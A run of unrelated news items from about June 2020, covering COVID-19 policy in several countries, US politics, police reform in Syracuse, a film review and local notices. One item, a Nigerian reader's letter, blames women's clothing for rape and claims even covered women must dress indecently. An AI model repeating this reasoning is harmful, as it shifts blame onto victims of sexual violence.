Razzaz said the economy was still reeling from the impact, estimating a contraction of at least 3% compared to the International Monetary Funds 2.1% growth forecast before the health crisis. It is Jordans first contraction since 1990.

The closure of firms and disruption of tourism, a critical source of foreign currency, have choked the economy while layoffs by troubled companies are expected to erode middle-class living standards and deepen poverty among low income groups.

The government, which had earlier announced it would reopen mosques on Friday, said the night curfew would be shortened from Saturday to begin at midnight rather than 7 p.m., and day-long curfews in place every Friday were being scrapped.

But cinemas, public parks, universities, schools and nurseries will remain closed and any activity involving close social mingling, including weddings, banned, officials said.

SOURCE: REUTERS


(ISRAEL21c)  Research groups across the world are using a variety of approaches to formulating vaccines that could protect people from COVID-19.

Big money and urgent demand are accelerating the normally lengthy process of vaccine development.

Vaccine candidates from the U.S., U.K., China, Japan and Germany are on the fast track, and Israel has at least six projects on the go. This international effort may lead to multiple products.

We expect more than one could make it to market, says Ronald Ellis, an Israel-based consultant to the industry and editor in chief of Human Vaccines &...
In the letter, Mr. Dowd pronounced himself appalled and upset by Mr. Mattiss statement. You lost me, Mr. Dowd, a onetime Marine captain, wrote Mr. Mattis, a retired four-star general. Never dreamed you would let a bunch of hack politicians use your good name and reputation  earned with the blood and guts of young Marines.

Mr. Trump also again falsely insisted that he fired Mr. Mattis, who in fact resigned in protest over a plan to withdraw troops from Syria. I did fire James Mattis, Mr. Trump wrote, adding that he was no good for me! In fact, when Mr. Mattis stepped down in December 2018, Mr. Trump himself wrote that General Jim Mattis will be retiring, with distinction. He changed his story only to maintain that he had fired Mr. Mattis after growing angry about the former defense secretarys resignation letter.

In private conversations lately with aides, the president described Mr. Mattis as someone more concerned about getting invited to parties in Washington than anything else, according to a person familiar with the discussion. He has come to see Mr. Mattis the same way he views one of his former White House chiefs of staff, John F. Kelly, a retired Marine general who periodically comments about his White House tenure in scornful terms. Mr. Kelly told The Washington Post on Thursday that Mr. Trump was not telling the truth when he said that he fired Mr. Mattis.

Later in the day, Mr. Trump disputed Mr. Kelly, claiming that he did not tell his chief of staff that he had fired Mr. Mattis because Mr. Kelly was not in my inner-circle, was totally exhausted by the job, and in the end just slinked away into obscurity.

He also slammed Ms. Murkowski. Few people know where theyll be in two years from now, but I do, in the Great State of Alaska (which I love) campaigning against Senator Lisa Murkowski, he wrote.

Senior Pentagon leaders are now so concerned about losing public support that General Milley released a message to top military commanders on Wednesday affirming that every member of the armed forces swears an oath to defend the Constitution, which he said gives Americans the right to freedom of speech and peaceful assembly.

The memo helped temper some of the unrest among retired officers. Its a start, said James G. Stavridis, a retired admiral and NATO commander. All of the service chiefs have also put out guidance against racial discrimination. I think its about as far as they can go in uniform without resignations.
Tony Blair today urged the Government to set up a mass testing programme which would see the bulk of the UK population checked for coronavirus as he suggested that is the only way to prevent a second outbreak.

The former prime minister said the Government needs to make use of all available laboratory capacity and to support the roll out of 'rapid, on-the-spot' antigen and antibody checks.

Antigen tests shows if someone currently has coronavirus while antibody tests show if someone has previously had the disease.

Rapid antibody tests are now available while similar antigen tests which do not require processing in a lab are also in development.

Mr Blair said those tests must form a key part of the Government's strategy moving forward as he called for mass testing to replace the current approach of targeted testing of people with symptoms.

Mr Blair said without the ability to take a snap shot of infection rates in the whole population it will be difficult to get out of lockdown quickly and safely while it will be 'virtually impossible' to make NHS Test and Trace work without an accompanying mass testing programme.

The ability to test millions of people would provide the UK with an 'effective containment strategy', Mr Blair claimed.

He also insisted Britain's testing efforts must be 'tougher' than other comparable countries because the scale of its outbreak has been that much worse than some of its neighbours.

Tony Blair today urged ministers to introduce a mass testing programme to check the bulk of the UK population for coronavirus

Ministers reveal delayed contact tracing app may not be ready until end of June The NHS coronavirus contact tracing app won't work properly until October and will be 'imperfect' when it is first launched, it was claimed today. Officials first promised the app - considered the 'cherry on the cake' of Number 10's flagship Test and Trace scheme - would be ready to roll-out across Britain in mid-May after it was trialled on the Isle of Wight. But business minister Nadhim Zahawi last night revealed it won't go live until the end of the month, roughly six weeks after it was originally due. He said on BBC Question Time the app would be rolled out when it is 'robust'. However, Tony Prestedge, chief operating officer for the contact tracing system, is said to have told employees it would be 'imperfect and clunky', claiming it wouldn't be world-class until 'September or October time'. Transport Secretary Grant Shapps today dismissed the claim, saying: 'Anyone who downloads an app on their phone knows it is forever being updated... apps are never complete in that sense.' The app was supposed to form a crucial part of NHS Test and Trace scheme, which was launched in England and Scotland last week. But the app was missing when the programme went live due to problems with its development. Advertisement

Mr Blair told BBC Radio 4's Today programme that the mass testing programme should be a mix of antigen tests which show if someone currently has coronavirus and antibody tests which show if someone has previously had the disease.

He said: 'The plan is to instead of relying on targeted testing and testing only that is lab-based that we do mass testing using tests that are rapid, on-the-spot tests that are available now for antibodies, that are becoming available for antigen tests - that is, in other words, the test for whether you have the disease.

'My view is that this is probably the single most important decision the Government have got to take around containment at the moment and I think they have got to go back to their original strategy published back in April which was to have mass testing.

'They have departed from that and are now effectively only doing targeted testing and I think that this is going to make it much more difficult to get out of lockdown fast and I think it is going to be, I would say, virtually impossible to make track and trace work effectively unless you are combining it with mass testing.'

Mr Blair insisted fast tests are now available to be purchased by the Government and that 'there are many British companies that are making them.

He also claimed the fast tests have been shown to be reliable.

And as these antigen, rapid, on-the-spot tests come into being, and we suggest exactly how this is and what the Government should be doing in order to make sure it is backing the efforts to achieve these tests, including from British companies but also companies overseas, as you do that you will find you have got the ability to test the population at large and you are not simply testing those who have symptoms,' he said.

Mr Blair said rapid antibody tests were 'absolutely for sure' already available for mass purchasing and 'you have got five or six British companies making these tests and selling them abroad or even selling them to people in this country'.

He added: Now, antigen tests, they are being developed a whole lot of those tests, there are about 15 that are commercially marketable now but obviously you have to validate those.

The United States in early May validated the first antigen rapid, on the spot test.

The Government launched its NHS Test and Trace programme last week which sees anyone with symptoms told to self-isolate and get checked.

If they test positive their close contacts are then also told to self-isolate even if they do not have any symptoms.

However, the roll out of the programme has been beset with problems with staff complaining they do not have any work to do while a critical NHSX contact tracing app has been delayed.

It emerged today that the people running the programme believe it may not be at full speed until September or October.

Mr Blair said targeted testing and contact tracing will not be enough to prevent a second outbreak.

He also expressed concerns that the UK is easing lockdown at a time when it is in a 'worse position' than other nations when they took similar steps.

'It is not just a question of how we ease the lockdown today,' he said.

'My anxiety is what happens if there is a resurgence of the disease in October, November.

'At that point you have got to have in place the ability to do mass testing which means rapid tests, combined with your lab-based tests.

'I really want to underline this. I think right now in government this is the single most important preparation they can make to give us an effective containment strategy because the problem with the UK I am afraid is that our situation is worse than comparable countries.

'Yesterday, we had I think it is almost 1,900 confirmed cases. That is more than France, Italy, Spain and Germany put together.

'Our death rate is still significantly above others and yet we are easing.

'We are easing the lockdown in circumstances where we are in a worse position than comparable countries and that is why our position on testing has got to be a lot tougher and better than other countries.'

A report by the former PM's think tank, the Tony Blair Institute for Global Change, said the Government must 'shift at speed' to building the mass testing regime.

The report states: 'The prevalence of the virus means that mass testing is required to continue to screen a high proportion of the population, identifying cases to keep the disease in check and to help large numbers of people make informed decisions about how they should behave based on their disease status.

'The current approach places a high dependence on a track and trace model that is neither fully ready, nor workable in the absence of mass testing. The two must work together for the population to safely engage with the easing of lockdown measures.'
Chintu Ka Birthday

Cast: Vinay Pathak, Tillotama Shome, Seema Pahwa

Directors: Devanshu Singh, Satyanshu Singh

How challenging can it be for a middle-class couple to throw a birthday party for their child? All you need is a bit of tinsel and cake. For six-year-old Chintu, stuck in war-torn Iraq with his family, a party is a distant dream. He was unable to celebrate his birthday last year and his family has promised him double the fun this year -- they will ensure Chintu will get the birthday party he deserves. But George W Bush has other plans. Chintu Ka Birthday, in the making for almost a decade now, turns out to be a bite of sugary goodness we have all been looking for during this lockdown. The sweet and simple story of a childs birthday party is a celebration of fatherhood; an ode to a parent for whom his childs happiness is of utmost importance. The film also touches upon the lives of those living under restrictions and looking for happiness within the four walls.

Watch Chintu Ka Birthday trailer here

Chintu, the cutest kid on the block, lives with his family of 5 that moved to Iraq illegally in search of a better life. The one hour twenty minute-film documents what happens on his sixth birthday, which may not be significant in the larger scheme of things but is no less than a dream for his family. Things, alas do not go as per plan as their biggest occasion of the year is crashed by some uninvited party poopers who not just spoil their party but could even destroy their lives. The doting father (Vinay Pathak) and family do not disappoint as they deal with a situation to bring a smile on the childs face.

The Zee 5 original wins hearts in more ways than one and this is what makes it a winner among the bustling OTT scene. The story about a childs birthday party is layered with details -- it talks about American soldiers stuck in Iraq for years during the war, it showcases how illegal immigration destroys lives and it wonders about inherent goodness and badness of human beings.

Tillotama Shome in a still from Chintu Ka Birthday.

Vinay Pathak is fantastic as a father who is battling with guilt but is hell bent on giving his son a birthday of his dreams. He is joined by equally brilliant actor Tillotama Shome, who continues to surprise us with the variation she brings to her work. After playing a foul-mouthed mom who knows how to deal with her ill-mannered sons in web show Mentalhood, also on Zee5 in collaboration with AltBalaji, Tillotama surprises yet again as a homemaker and a mother of two. She brings so much honesty to the role that you forget she is just a 31-year-old, an age at which actors are highly conscious of keeping away from mothers roles. The entire family of five appears to be a bundle of talent as Seema Pahwa again brings out the best in her as the nagging mother-in-law.

A still from Chintu Ka Birthday.

Chintu Ka Birthday proves yet again how intelligent writing is the key to a successful project. The way a 6-year-old Chintu tells the story of Saddam Husseins downfall in 2004s Iraq in laymans language brings so much freshness to the screen. The duty of a family to deal with a tough situation as a whole signifies the importance of loved ones who can make any trouble look small when the burden is shared by everyone.

It seems Zee5 is finally making some wise moves in terms of picking quality content. After Kaafir and State of Siege, this one is going to give a power boost to the OTT platform.

Follow @htshowbiz for more

ott:10:ht-entertainment_listing-desktop
The delegation led by President of Artsakh (Nagorno-Karabakh) Arayik Haroutyunyan, along with Minister of Territorial Administration and Infrastructure of Armenia Suren Papikyan, visited the southern wing of Kashatagh region today, as reported the Central Information Department of the Office of the President of Artsakh.

The top officials of the two Armenian republics followed the launch of the harvest of barley and were introduced to the anti-fire measures being implemented to gather grains without losses. President Haroutyunyan met with the heads of communities of the southern wing and gave the representatives of the relevant bodies assignments.

Touching upon the upcoming plans for the region, Haroutyunyan declared that, according to the pledge he had made during his election campaign, construction of the highway linking the city of Hadrut to Armenia through the southern wing of Kashatagh will be launched this year. He added that the electric network for provision of electricity to the sub-region will be completely rebuilt through capital works by 2022.
05.06.2020 LISTEN

For the past four weeks in Nigeria, rape cases have increased and this is very disturbing and diminishing the status of man in the country. As a layman, rape is the forceful stealing of sex by a powerful person from a less powerful person in a situation of inequity.

Rape is evil. But one sure way of discouraging it is for our girls or women to dress well, they should stop encouraging or luring men to themselves. Indecent dressing is a temptation to men and many will fall for it. Don't tell a man to control himself when the woman's naked body is in his front, harassing him to come come come. Do you know the emotional and physical heat passing through him at that material time?

Psychological rape or harassment is a killer. Some of us will resist it and the process of resisting it is herculean, tough, and diminishing. Its only God who can describe what men pass through to resist indecent dressing that puts up a full woman in nakedness into our spirit.

I emphasis the women's side because that is the origin of the lure. Some may argue, so why rape a Muslim woman who covers all her body: there must be something indecent in her dressing that attracts or lure men, which mainly the Muslim men can see.

On the part of men, please be strengthened by your morality to know it is simply wrong to steal sex by force. No matter the killings of culprits, it will neither reduce nor stop. It's like armed robbery or planning of the military coup. Therefore we must figure out what attracts men to rape.

Parents and religious organisations should be ashamed that rape is now reigning in a country where every street has a church and or mosque. It all shows that morality, which is the basis of society, has long left Nigeria. Therefore the government at all levels must discuss it and put morality and ethics in the teachings at schools and religious platforms. The NOA has a big role to play here.

Okachikwu Dibia

Abuja
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Air India has ferried 550 Indians, stranded in Kyrgyzstan, back home with 10 more flights planned from the Central Asian country under phase three of the Vande Bharat Mission, starting June 15.

Follow live updates on the COVID-19 pandemic here

"The Ministry of External Affairs, the Civil Aviation Ministry, the Home Ministry, and the embassy have taken all possible steps to ensure that our nationals stranded and facing hardships for various reasons are able to return home," India's Ambassador to Kyrgyzstan Alok Amitabh Dimri told PTI.

"Vande Bharat Mission has emerged as the nation's life-line to its citizens abroad and has attested that India today values each of its national, at home or abroad. Vande Bharat Missions message of care has transpired a sense of bonding and community besides pride in 21st Century India", he said.

The Vande Bharat, launched on May 7, is the Indian government's largest ever exercise to repatriate its nationals stranded abroad due to the coronavirus lockdown. Over 1.07 lakh nationals have so far returned to the country under the programme.

There are about 15,000 Indian nationals living in the Kyrgyz Republic, most of them students pursuing medical education.

Four Air India flights, the first on May 26 to Gaya, followed by a flight to Jaipur on June 1 and two flights on June 2 to Delhi and Hyderabad have so far repatriated 550 Indians back from the Central Asian Republic.

Mortal remains of one deceased Indian national were sent back to Chennai on one of the flights. A Kyrgyz national with liver-transplant complications in need of urgent medical attention was also accommodated in the flight to New Delhi as a goodwill gesture, officials said.

Coronavirus Worldometer | 15 countries with the highest number of cases, deaths due to the COVID-19 pandemic

The Vande Bharat Mission flight operations from the Kyrgyz Capital of Bishkek was coordinated by the Air India office in Israel.

"As an offline station it was a mammoth task of coordination and it would not have been possible without the excellent support and coordination given by the team of Indian Embassy officials in Bishkek and Air India Airport Manager in Israel, Anjali Nanda", Air India's country Manager in Israel, Pankaj Tiwari, told PTI.

"There are several Indian Nationals still stranded in Kyrgyzstan and under the phase 3 of Vande Bharat Mission, Air India will operate 10 more flights starting June 15 from Bishkek to various Indian cities," Tiwari added.

The Air India office in Tel Aviv will also be coordinating the evacuation of Indian nationals stranded in Finland.
Syracuse, N.Y.  The killing of a black man by Minneapolis police has sparked a week of protests and outrage in Syracuse and across the nation focused on how police treat people of color.

Syracuse Mayor Ben Walsh is reaching out to both sides, protesters and police.

Walsh said he was appalled by the killing of George Floyd, a black man who died after a Minneapolis police officer kneeled on his neck for more than eight minutes. He said most police officers are as outraged as protesters.

Anyone who watched the video, we all watched a man die at the hands of a police officer, Walsh said. Its murder. Theres no other way to see it.

The mayor has attended at least two street protests and offered to meet with some of the young organizers, who he sees as voices for change. He also has demonstrated his support for police.

Sunday night, after demonstrators went home following a peaceful day of protests, Walsh went to the PSB to thank the officers for keeping the peace.

I made it a point to look every officer in the eye that I could and tell them they did our city proud, he said.

Hundreds of years of oppression

In an interview Thursday, Walsh and Deputy Mayor Sharon Owens said Syracuse suffers from the same systemic racism that poisons the rest of the country. The Floyd killing hit African Americans especially hard, because it follows a pattern of other racist killings, Owens said.

He was murdered, Owens said. Black Americans look at that and say, this is systemic. It continues to happen, and it is time for it completely to be addressed.

Walsh said outrages such as the death of George Floyd can easily divide people because they are so traumatic.

When we try to have difficult conversations like this, it immediately puts people on the defensive  whether its white people or police officers, he said.

The mayor said he believes most people  both protesters and police  are on the same side. The hard part is to unravel centuries of systemic racism, he said.

Theres nothing inherently bad about people in the city of Syracuse, or about the Syracuse Police Department, Walsh said. But the system we all operate in is the direct result of hundreds of years of oppression.

A whole new generation

Walsh said he is eager to hold discussions with some of the young leaders emerging from daily protests in Syracuse over the deaths of George Floyd and African Americans.

Walsh and Deputy Mayor Sharon Owens, who attended the protest Sunday at the invitation of organizers, said they want to build relationships with a new generation of activists.

This movement is a movement of some new voices in our community that we are having the absolute pleasure of meeting, Owens said. That is one of the best things Im seeing coming out of this.

Walsh said his administration has been hyper-focused on issues of racial equality  and police-community relations in particular -- since he took office in 2018. But much remains to be done, he said.

Walsh said he is determined to speak with young community organizers, listen to their concerns and build relationships. He wants to be able to call them for input or assistance.

Syracuse Mayor Ben Walsh joined demonstrators who marched to Forman Park Thursday, June 4, 2020 to protest the death of George Floyd.N. Scott Trimble | strimble@syra

The mayor on Thursday reached out to one of the protest leaders, Sakia Daye, to request a meeting. He plans to meet with others, he said.

There is a whole new generation of young people that are getting engaged in the community, particularly around issues of racism, and we need to develop those relationships, he said. Its all about building trust.

Since we walked through the doors

Walsh said he came into office in 2018 committed to fighting racism and improving relations between police and the community. His first steps were to hire highly qualified African Americans as deputy mayor and police chief, he said.

Systematic racism is an issue here in the city of Syracuse, and its an issue throughout this country, Walsh said. Its one that we have been hyper-focused on since we walked through the doors of City Hall two and a half years ago.

It took Walsh nearly a year to hire a police chief. He said he launched an exhaustive national search because he was looking for a chief who would build a more professional police department and improve relations with the community.

First, Walsh said, he hired Owens, a strong African American woman with a stellar track record, as deputy mayor. Then he put her in charge of finding a new chief.

Chief Kenton Buckner, who arrived in November 2018 from Little Rock, was worth the wait, Walsh said.

We got the right guy for the job. I feel stronger about that today than I did the day I made the decision, Walsh said.

Not at the pace we would like

Walsh and Buckner said they have made numerous incremental changes designed to improve police relations with the community. But more needs to be done, they said, especially in terms of recruiting minority officers.

Among the changes:

-- The departments use-of-force policy was rewritten in 2019 after consultation with community members, Owens said.

-- The department revised its policy on traffic stops.

-- Many police now wear body cameras, and the goal is to outfit every officer with a camera.

-- The departments Office of Professional Discipline, aka internal affairs, moved from the Public Safety Building to another city office building, City Hall Commons, where its on the same floor as the independent Citizen Review Board. Now civilians who want to lodge a complaint dont have to do so at police headquarters.

-- Buckner established three citizen advisory councils in separate zones of the city, with whom he and other top police officials meet once a month.

-- The department has beefed up its training programs, for which it is seeking accreditation from the Commission on Accreditation for Law Enforcement Agencies. Buckners goal is to have at least 20% of police trained in crisis intervention to handle incidents involving mental health. He wants every officer to complete at least 40 hours of training per year, he said.

Syracuse Police Chief Kenton Buckner, right, and Mayor Ben Walsh, in pink shirt, hear community concerns at a June 28, 2019 meeting on police use of force. Deputy Mayor Sharon Owens stands to the left of Walsh.Tim Knauss

-- Police have ramped up efforts to recruit minority officers. Minorities represented more than 10% of new officers in each of the three most recent recruiting classes, Buckner said.

The department is 88% white and will change slowly, Buckner conceded. Black officers comprise about 8% of the police force in a city where African Americans are 30% of the population.

We should see that (percentage) incrementally going up -- certainly not at the pace we would like, he said.

More transparent discipline?

Both Walsh and Buckner said they believe the public should have more access to disciplinary records involving officers who break the rules. But both see legal obstacles that prevent it.

City officials last year revised their policy to give the chief greater authority to punish wayward officers without having his decisions subject to review by an arbitrator. Walshs office maintained that discipline was no longer subject to procedures set out in the union contract, based on a ruling by the state Court of Appeals.

Walsh had planned to appoint a hearing officer to resolve disputes over officer discipline in public hearings.

But the police union has successfully blocked that plan thus far. The union this month won a lawsuit in state Supreme Court, where the judge ordered the city to send several disciplinary cases to an arbitrator.

Separately, Gov. Andrew Cuomo this month said that mayors are free to make police disciplinary records public, despite a state law that has long been used to suppress them. Cuomo made the comments as state legislators announced plans to change Section 50-a of the Civil Rights Law, which keeps police personnel records private.

Cuomos comments ignored several court decisions that support preventing public access to the records. Syracuse city lawyers do not think the records can be made public unless the law is changed, Walsh said.

We dont have to pick sides

Oftentimes in this discussion, for understandable reasons, people think you have to pick sides, Walsh said. But you can be pro-police and also be pro-police reform and pro-police accountability. I put myself into all those categories.

Walsh said he hopes the desire for reform and will bring Syracuse together, not split it apart.

We dont have to pick sides, he said. It doesnt have to be an either-or proposition. And in my conversations with police officers -- rank-and-file police officers, the ones who are on the front lines -- they feel that way too.
Revolution Bars is preparing to tap investors for 15million to pay down debt and help it emerge from the coronavirus crisis as its bars remain closed.

The company, which shut down all its 74 bars as the UK went into lockdown at the end of March and furloughed the vast majority of staff, said it is working towards reopening its sites in August.

Revolution also announced plans to delist from the main market and instead list on the junior AIM as it would allow it to do 'quicker and cheaper fundraisings'.

Back to work? Revolution said it is planning to reopen its bars in August

As net debt ballooned to 22million at the end of May, the company is looking to raise 9million from institutional investors by placing up to 45million new shares at 20p apiece, with an additional 6million, subject to clawback.

'The proceeds of the fundraising will be used by the group to achieve an appropriate level of indebtedness and emerge from the COVID-19 pandemic in a position of strength,' the company said in a statement.

Revolution Bar shares fell by almost a quarter during the day, to close 17 per cent lower at 28.60p on Friday.

If its 'base case scenario' plan of reopening bars in August comes to fruition, it expects sales to come in at about half what they were last year before the crisis.

And assuming that social distancing measures will be relaxed by November, sales could then increase to about 80 per cent of what they were last year before the crisis.

If all goes according to plan, it will also continue refurbishing bars and will be 'in a good position to take advantage of growth opportunities post-Covid-19' such as acquiring new sites at a time when they believe prices will be depressed.

Under the current government directives for exiting the lockdown, pubs, bars and restaurants will remain shut until early July and will have to enforce a two-metre social distancing when reopening.

Pub bosses have been lobbying for social distancing rules to be reduced to one metre, calling two-metre distancing 'economically totally impractical'.

Revolution said it has cut costs since the closure of all its bars in March but still reported running costs of roughly 400,000 for each week sites remain shut.
Lucknow, June 5 : Uttar Pradesh Chief Minister Yogi Adityanath celebrated his 48th birthday on Friday without any fanfare.

Prime Minister Narendra Modi telephoned Adityanath in the morning to wish him on his birthday.

Modi also tweeted, "Birthday greetings to UP's dynamic and industrious CM, Shri Yogi Adityanath Ji. Under his leadership the state is scaling new heights of progress across all sectors." BJP national President J.P. Nadda also tweeted, appreciating Adityanath for his dedication and determination towards the development of Uttar Pradesh.

Home Minister Amit Shah and Defence Minister Rajnath Singh also extended their greetings to Adityanath on his birthday, according to a government spokesman.

Meanwhile, Adityanath planted a sapling at his official residence on Friday to mark the World Environment Day.

A number of ministers and legislators wished the Chief Minister on his birthday.

Born on June 5, 1972, Adityanath's birthday coincides with the World Environment Day.

His real name is Ajay Singh Bisht and he was born in Panchur village in Pauri Garhwal, now in Uttarakhand. He left his home in the early nineties to join the Ayodhya temple movement.

Around that time, he came in contact with Mahant Avaidyanath, the chief priest of the Gorakhnath Math and became his disciple.

Subsequently, he was given the name Yogi Adityanath and was designated as the successor to Mahant Avaidyanath.

Adityanath became the youngest member of the 12th Lok Sabha at the age of 26 in 1998. He was elected to the Lok Sabha from Gorakhpur for five consecutive terms in 1998, 1999, 2004, 2009 and 2014. He resigned from the Parliament in 2017 after he became the Chief Minister of Uttar Pradesh.
Vincentian-born Ingrid Andrews-Campbell is the new 2nd Vice District Governor for Brooklyn and Queens District 20 K1 Lions, which is comprised of seventy-five clubs.





Andrews-Campbell, a member of the Central Brooklyn Lions Club, hails from Belair.





She told THE VINCENTIAN Sunday that her opponent, Phillipines-born Dr. Ishmael Holipas, of the South Ozone Park Empire Medical Lions Club in Queens, withdrew from the race soon after she delivered her launch speech at the Lionss Mid-Winter Convention in February.





Andrews-Campbell extends appreciation





"I am extremely thankful for your support and vote of confidence in electing me, added Andrews-Campbell in a Thank You message to her home club, Central Brooklyn Lions Club, and the Lions of District 20-K1 Brooklyn and Queens. "I am honored and humbled to serve as your 2nd Vice District Governor.





"With your support, I know I shall be able to fulfill the aspirations of the Lions and the community we serve, continued Andrews-Campbell, who is married to fellow-villager Daniel Campbell.





Andrews-Campbell said she was "deeply moved by the expression of support from Lions whose clubs she has visited and committed to work with the membership as a team, to advance Lionism in the community.





In her campaign launch, she said that over 30 years ago, as a graduating member of the Barbados Community College Student Government Council, a professor, a Lion, told her: "Ingrid, we are going to miss you, but there is an organization that can utilize your leadership skills.





Andrews-Campbell said that was her introduction to Lionism and "the wonderful work that Lions do.





In that speech, she also referenced her ability to connect with people and to use that ability to inspire some of them to become great leaders, as the main reason for her candidacy as 2nd Vice District Governor.





".. I want to be your servant leader; a leader with a passion for service and a determination for action.





She committed to standing "with you ready and able for the leadership challenge as we work together to move this district forward.

Andrews-Campbell said she started her career in Lionism in May 1984.





Awards over the years





Among her achievements and awards over the years are: Most Outstanding Lioness President  Sub-District 60B; Most Outstanding Zone Chairperson  Sub District 60B; Lions Club International Leadership Award; Lions Club International Presidents Appreciation Award; District 20 K1 Past District Governor Leadership Award; and Lion of the Year Award.





Andrews-Campbell has also served on the district level as a member of several district committees, including Feeding, TEAL, Labor Day Parade, Family Fun Day, Testimonial Journal, Mid-Winter and Testimonial.




New Delhi, June 5 : The national capital is breaking all records in having over 160 containment zones. There were a total of 163 containment zones as on Thursday, according to the Delhi government's official data . However, a total of 59 zones were de-contained also.

The number of containment zones in the city was 147 till Monday. In a video conferencing on Thursday with Delhi Health Minister Satyendra Jain and Lieutenant Governor Anil Baijal, the Union Health Minister Harsh Vardhan said, "As the number of cases and fatality rises in Delhi, it needs to ramp up testing coupled with aggressive surveillance, contact tracing and stringent containment and perimeter control activities". Harsh Vardhan had also pointed out that "the rising cases, high positivity rates and low testing levels in many districts are worrisome".

Meanwhile, the Delhi government has given show cause notice to eight private labs for non compliance of the ICMR testing norms, including Gangaram Hospital, Fortis hospital and NCDC. The Union Health Minister in the video conferencing on Thursday said that while the average testing per million population in Delhi was 2018, some districts such as north east doing 517 tests per million population and south east 506 tests per million population were far below.

While the Delhi's positivity rate of last week was 25.7 per cent, several districts reported figures above 38 per cent. The high rate of infection in the health care workers was also a serious issue, he added. It indicates poor infection prevention, control practices in health care settings and needs to be attended to on priority, he pointed out.

According to the Union Health Ministry, there is an immediate need and importance of scaling up testing with health infrastructure enhancements along with better clinical management of the COVID-19 cases for effective case management and reduction of fatality rate. Harsh Vardhan pointed out that the bed availability was to be rapidly increased in view of the current rapid rise of cases along with avoiding unnecessary delay in admission of cases. It clearly indicated that the government's reluctance in admitting Covid patients and less testing, directly proportional to more transmission of the disease and thus more number of containment zones.

However, the Delhi government said that it has launched an app which shows the availability of the beds in COVID hospitals. Delhi Health Minister Satyendar Jain on Thursday said that since the launch of the Delhi corona App many people have enquired about COVID-19 beds just like "window shopping", but there are a lesser number of actual users. The DMs and officials of the Municipal Corporations were heard saying in the meeting that the people seem to be getting complacent with following the norms regarding physical distancing during the Unlock 1.0 period. This was a major factor contributing to the new surge in cases. They discussed issues related to perimeter control in the containment zones, timely identification and classification of cases as stigma associated with COVID-19 stopped people from reporting symptoms or cases.

The Union Health Minister suggested provisioning of institutional quarantine to vulnerable populations in large clusters where home isolation is not deemed effective, needs attention too. "As a significant proportion are in home isolation, all efforts for timely response in terms of testing, triaging and shifting of patients to the required level of dedicated COVID facility is important to avoid mortality", said Harsh Vardhan in the meeting.

Speaking to IANS doctor Shuchin Bajaj of the Internal Medicine department at Delhi's Ujala Cygnus Orthocare Hospital, said, "As we are currently in stage 3 of coronavirus pandemic, community transmission is deeply entrenched now. So if one house gets index case, there is a big chance of a lot of people getting infected in that area. Therefore, the government has decided to increase the containment zones with proper sanitisation and social distancing guidelines inside them. In containment zones, there will be no relaxation till the end of this month." Akhila Kosuru, Senior Physician at Apollo Telehealth told IANS that the relaxation of mobility restrictions combined with failure on the part of the public to follow social distancing guidelines and hygienic practices has led to a spike in the number of coronavirus cases in Delhi and thus the number of containment zones are also rising. "If the trend continues, hospitals will be overwhelmed beyond their capacity, which can lead to a huge public health crisis apart from making it difficult for non-covid patients to receive proper care on time," he said.

(Sfoorti Mishra can be contacted at sfoorti.m@ians.in)

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
Ireland is to accelerate its journey out of coronavirus lockdown after the Government announced the fast-tracking of a series of relaxation measures.

Taoiseach Leo Varadkar said phase two of the countrys road map to recovery would be triggered on Monday as scheduled.

But he said a series of other steps, originally envisaged for later phases of the plan, would also be given the green light from next week.

Mr Varadkar described the series of relaxations as phase two plus.

The five-phase plan has also now been condensed into a four-phase plan, meaning Ireland will move out of lockdown at a faster pace that previously planned.

Ive always said we would accelerate the reopening our country but only if it was safe to do so, Mr Varadkar said.

Thanks to your actions we have now reached that point.

From Monday, all retail outlets will reopen with staggered hours, while shopping malls can reopen on June 15.

Next week, the distance restriction on exercise extends from 5km to 20km, or any distance within a persons own county boundaries.

Small groups of people will be allowed to visit the homes of those cocooning, as long as social distancing is observed.

Groups of up to six people will be able to interact with each other indoors or outdoors, as long as they keep two metres apart.

Groups of up to 15 will be able to meet for outdoor sporting activities and elite athletes can resume training.

Up to 25 people will be allowed to attend funerals of loved ones and public libraries will commence re-opening.

The Government has also announced a series of additional measures for children and older people.

There is to be a phased reintroduction of visiting at nursing homes, starting on June 15 in homes that put in place required protocols.

Shops will also provide dedicated hours for those who are over 70 or in an at risk group.

Meanwhile, playgroups and summer camps can operate again and playgrounds will also reopen.

Phase three is scheduled for June 29, when hotels and other parts of the domestic tourism sector can reopen.

It is safe to move to Phase 2 of our plan to reopen our country from Monday, thanks to the considerable sacrifices you have made to restrict the spread of the virus. We are also announcing an acceleration of the Roadmap, with four phases instead of five. #Covid19 #Roadmap pic.twitter.com/TSHWdKkSKS  Leo Varadkar (@LeoVaradkar) June 5, 2020

All travel restrictions within Ireland will also lift on that date. Pubs will also be able to reopen, but only if they are functioning as restaurants and serving food.

Phase four, which will contain all remaining measures in the road map, is planned for July 20.

Mr Varadkar announced the measures in a wide ranging speech that quoted both Roman statesman Cicero and Lord Of The Rings character Samwise Gamgee.

The Taoiseach said that hairdressers, barbers and nail bars will remain shut until the final phase.

Everyone would really like to see them open as soon as possible but as of now that remain in phase four and that is for very good reason, he added.

The Taoiseach said restrictions on large gatherings would continue into the autumn.

I've always said we would accelerate the reopening our country but only if it was safe to do so. Thanks to your actions we have now reached that point. Leo Varadkar

The two-metre measure for social distancing remains but experts have been tasked with reviewing the evidence around a potential reduction.

The coronavirus death toll in Ireland rose to 1,670 on Friday, after a further seven deaths were announced.

There were 28 new confirmed cases of Covid-19, taking the total since the outbreak began to 25,163.

Mr Varadkar said he had informed the leaders of the Northern Ireland Executive about the plans before making them public.

However, First Minister Arlene Foster later expressed concern that the consultation had not been sufficient.

The Taoiseach hailed the Irish publics adherence to the restrictions during lockdown.

Over the last few months fear has exerted a kind of gravity pulling us down, but now we find there is hope lifting us up again, he said.

During this emergency we have suffered as a country, lost loved ones, and changed the way that we work and live.

We are making progress. We are heading in the right direction.

And we have earned the right to be hopeful about the future again.

Expand Close Dr Tony Holohan said he hoped people would not try to find loophole to avoid complying with the relaxed regulations (Brian Lawless/PA) / Facebook

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Whatsapp Dr Tony Holohan said he hoped people would not try to find loophole to avoid complying with the relaxed regulations (Brian Lawless/PA)

Later, at the daily Covid-19 media briefing, chief medical officer Dr Tony Holohan said as Ireland progressed through the road maps phases more focus would shift to individual responsibility to comply with relaxations.

If people want to find loopholes in it and ways of doing things or just simply ignore it its difficult for us to stop, he said.

The majority of people are with us and want to stay with us for their own protection and for the protection of their families and for the protection of the community.

